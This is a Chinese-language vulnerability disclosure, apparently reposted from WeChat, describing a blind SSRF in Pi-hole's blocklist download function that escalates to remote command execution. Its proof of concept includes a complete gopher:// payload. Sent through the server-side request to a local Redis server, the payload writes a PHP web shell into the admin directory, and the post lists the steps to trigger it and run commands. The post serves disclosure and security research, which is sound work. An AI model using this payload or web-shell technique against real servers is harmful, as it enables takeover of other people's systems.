概括
再次问好!😀
Pi-Hole 中发现了一个漏洞,允许经过身份验证的用户通过“gravity_DownloadBlocklistFromUrl()”函数向服务器发出内部请求。在某些情况下,该漏洞可能导致远程命令执行。
细节
在对“gravity_DownloadBlocklistFromUrl()”函数的运行进行一些测试时,检测到一个漏洞,该漏洞允许经过身份验证的攻击者使用不同的协议向服务器发出内部请求,根据特定情况,这可能导致在服务器上远程执行命令。
在这种情况下,“file://”处理程序得到正确控制,因此如果不使用 e,则会理解为将使用“http://”或“https://”。
主要问题在于允许用户从本地 IP 地址(例如 127.0.0.1、localhost 或其他)下载“广告”文件。
除此之外,还必须添加“curl”命令接受的各种通信协议,以发出请求,例如“ftp://”、“smb://”、“ldap://”、“gopher://”等等。
正如您在下图中看到的,使用“ftp://”处理程序在本地端口 21 上接收到请求。
接下来,为了将此漏洞升级为远程命令执行,使用了“gopher://”处理程序。
“gopher://”协议旨在以结构化方式分发、搜索和访问互联网文档。尽管随着 HTTP 协议的普及,gopher:// 已不再使用,但一些工具和库(如“curl”)仍支持该协议,这在现代环境中可能带来安全风险,尤其是在服务器端请求伪造 (SSRF) 攻击中。
如下图所示,通过“gopher://”协议发送的换行符“%0A”被在端口 1234 上打开的本地服务器正确解释。
如果安装 Pi-Hole 的服务器正在运行其中一些服务(mysql、postgresql、fastcgi、redis、smtp、zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache),则可以利用 SSRF 漏洞和 curl 命令接受的“gopher://”协议实现远程命令执行。
就我而言,我在我的树莓派上安装了一个 redis 服务器,因此它已经被用来扩展到 RCE。
通过发送特制的payload,通过SSRF漏洞,我可以通过“gopher://”协议与我的redis服务器进行通信,从而允许我创建一个带有恶意payload的PHP文件并将其存储在/var/www/html/admin中,从而允许远程命令执行。
概念证明
步骤 1:连接到 Pihole
第2步:安装 redis-server
wget https://download.redis.io/releases/redis-6.0.3.tar.gz
tar -xvf redis-6.0.3.tar.gz
cd redis-6.0.3
make
cd src/
sudo ./redis-server
步骤3:转到“Adlists”部分并添加有效负载以与内部redis服务器进行通信,并在/var/www/html/admin中创建恶意PHP文件。
这是使用的有效载荷
(gopher://127.0.0. 1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%24 6%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2419%0D%0A/var/www/html/admin%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A)
步骤4:进入“工具”-->“更新Gravity”,点击“更新”。
第五步:通过浏览器访问http://PIHOLE-IP/admin/shell.php,通过cmd参数即可在服务器上执行远程命令。
影响:攻击者可以通过不同的协议向服务器发出内部请求,具体取决于服务器内部运行的服务,从而导致在服务器上远程执行命令。
原文始发于微信公众号(Ots安全):盲服务器端请求伪造 (SSRF) 可能导致远程代码执行 (RCE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论